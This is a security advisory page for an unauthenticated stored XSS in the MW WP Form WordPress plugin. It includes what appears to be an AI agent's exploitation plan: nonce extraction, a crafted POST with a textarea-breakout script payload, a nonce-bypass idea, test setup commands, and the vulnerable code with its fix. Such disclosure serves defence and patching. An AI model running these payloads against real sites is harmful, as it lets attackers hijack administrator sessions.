MW WP Form <= 5.1.3 - Unauthenticated Stored Cross-Site Scripting
Description
The MW WP Form plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 5.1.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v5.1.4
Source Code
WordPress.org SVNThis research plan outlines the exploitation of **CVE-2026-48871**, an unauthenticated stored cross-site scripting (XSS) vulnerability in the **MW WP Form** plugin. ### 1. Vulnerability Summary The vulnerability exists in the administrative "Inquiry Data" detail view. Specifically, the plugin fails…
Show full research plan
This research plan outlines the exploitation of CVE-2026-48871, an unauthenticated stored cross-site scripting (XSS) vulnerability in the MW WP Form plugin.
1. Vulnerability Summary
The vulnerability exists in the administrative "Inquiry Data" detail view. Specifically, the plugin fails to sanitize or escape the memo field when rendering it within a <textarea> in the admin dashboard. While most form fields are escaped using esc_html(), the memo field is echoed directly. An unauthenticated attacker can submit a form containing a malicious memo value, which, when viewed by an administrator, executes arbitrary JavaScript.
2. Attack Vector Analysis
- Vulnerable Sink:
templates/contact-data/detail.phpat line 80:echo $contact_data_setting->get( 'memo' );. - Vulnerable Endpoint: Any public-facing page containing an
[mwform_formkey...]shortcode. - Payload Parameter:
mw-wp-form-data[memo](submitted via POST). - Authentication: None required (Unauthenticated).
- Precondition: The target form must have the "Save inquiry data" setting enabled (this creates a Custom Post Type entry for every submission).
3. Code Flow
- Entry Point: An unauthenticated user submits a POST request to a page containing an MW WP Form.
- Processing: The
MW_WP_Form_Main_Controller(initialized inmw-wp-form.phpline 67) processes the submission. - Storage: If the form is configured to save data, the plugin creates a new post and saves the submitted data as post meta. Because the plugin does not strictly validate the keys in the
mw-wp-form-dataarray against the form's defined fields, an attacker can inject thememokey. - Admin Access: An administrator navigates to MW WP Form > Inquiry Data and clicks "Detail" for the malicious submission.
- Sink: The
MW_WP_Form_Contact_Data_Controllerloadstemplates/contact-data/detail.php. - Execution: Line 80 echoes the raw
memovalue into thetextarea. If the value contains</textarea><script>..., the script executes in the admin's session.
4. Nonce Acquisition Strategy
MW WP Form uses a CSRF protection mechanism involving a nonce and a session-based cookie. The nonce must be extracted from the rendered form on the front end.
- Identify Form Page: Locate a page where the plugin's shortcode is active.
- Navigation: Use the
browser_navigatetool to load the page. - Extraction: Use
browser_evalto extract the nonce value from the hidden input field.- JavaScript:
document.querySelector('input[name="mw-wp-form_nonce"]').value - Variable Name: The name attribute is derived from
MWF_Config::NAME(which ismw-wp-form).
- JavaScript:
5. Exploitation Strategy
- Setup: Ensure a form exists with ID
123and has "Save inquiry data" checked. - Payload:
</textarea><script>alert(document.domain)</script> - HTTP Request (via
http_request):- URL:
https://target.local/form-page/ - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
mwform_form_id=123& mw-wp-form_nonce=[EXTRACTED_NONCE]& mw-wp-form-data[memo]=%3C%2Ftextarea%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E& [OTHER_REQUIRED_FIELDS_BY_FORM]
- URL:
- Trigger: Log in as Admin and visit:
https://target.local/wp-admin/edit.php?post_type=mw-wp-form&page=mw-wp-form-save-data-> Select Form -> View Detail.
6. Test Data Setup
Before testing, the environment must be configured using WP-CLI:
- Create a Form:
wp post create --post_type=mw-wp-form --post_title="Contact Us" --post_status=publish
(Note: Note the ID returned, e.g., 10) - Configure Form (Enable DB Saving):
wp post name-meta set 10 _save_data 1 - Create a Public Page:
wp post create --post_type=page --post_title="Contact Page" --post_content='[mwform_formkey key="mw-wp-form-10"]' --post_status=publish
7. Expected Results
- The POST request should return a 200 OK or 302 Redirect (depending on the form's "Complete Page" setting).
- When the admin views the inquiry detail, a JavaScript alert box showing the document domain should appear, confirming the
</textarea>tag was successfully closed and the script executed.
8. Verification Steps
Verify the payload is stored in the database without being escaped:
# Replace 11 with the ID of the Inquiry post (Custom Post Type)
# The post type for inquiry data is typically mwf-XXX where XXX is the form ID
wp post list --post_type=mwf-10 --format=ids
wp post get [INQUIRY_ID] --field=memo
The output should contain the raw <script> tag.
9. Alternative Approaches
- Attribute Injection: If the
memofield is filtered but other fields are not, checktemplates/contact-data/detail.phpline 57:MWF_Functions::get_multimedia_data( $values[ $key ] ). If the file upload handling is weak, XSS might be possible via file names. - Bypass Nonce: Check if the plugin processes the form even if the nonce is missing. Some versions of MW WP Form had logic that only verified the nonce if the
mw-wp-form_noncekey was present in$_POST. Try omitting the nonce parameter entirely.
Summary
The MW WP Form plugin for WordPress is vulnerable to Unauthenticated Stored Cross-Site Scripting via the 'memo' field in form submissions. Due to insufficient output escaping in the administrative inquiry detail view, an attacker can inject malicious scripts that execute in the context of an administrator's session when the submission is viewed.
Vulnerable Code
<!-- templates/contact-data/detail.php lines 76-78 --> <tr> <th><?php esc_html_e( 'Memo', 'mw-wp-form' ); ?></th> <td><textarea name="<?php echo esc_attr( MWF_Config::INQUIRY_DATA_NAME ); ?>[memo]" cols="50" rows="5"><?php echo $contact_data_setting->get( 'memo' ); ?></textarea></td> </tr>
Security Fix
@@ -74,6 +74,6 @@ </tr> <tr> <th><?php esc_html_e( 'Memo', 'mw-wp-form' ); ?></th> - <td><textarea name="<?php echo esc_attr( MWF_Config::INQUIRY_DATA_NAME ); ?>[memo]" cols="50" rows="5"><?php echo $contact_data_setting->get( 'memo' ); ?></textarea></td> + <td><textarea name="<?php echo esc_attr( MWF_Config::INQUIRY_DATA_NAME ); ?>[memo]" cols="50" rows="5"><?php echo esc_textarea( $contact_data_setting->get( 'memo' ) ); ?></textarea></td> </tr> </table>
Exploit Outline
To exploit this vulnerability, an unauthenticated attacker first identifies a target site using MW WP Form with the 'Save inquiry data' feature enabled. The attacker navigates to the public form, extracts the required CSRF nonce (`mw-wp-form_nonce`) and the form ID (`mwform_form_id`) from the page source. They then craft a POST request to the form's processing endpoint, injecting a payload into the `mw-wp-form-data[memo]` parameter. A typical payload like `</textarea><script>alert(1)</script>` is used to break out of the textarea HTML element. When an administrator later logs into the WordPress dashboard and views the specific inquiry under 'Inquiry Data', the unsanitized memo field is rendered, triggering the stored JavaScript payload.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.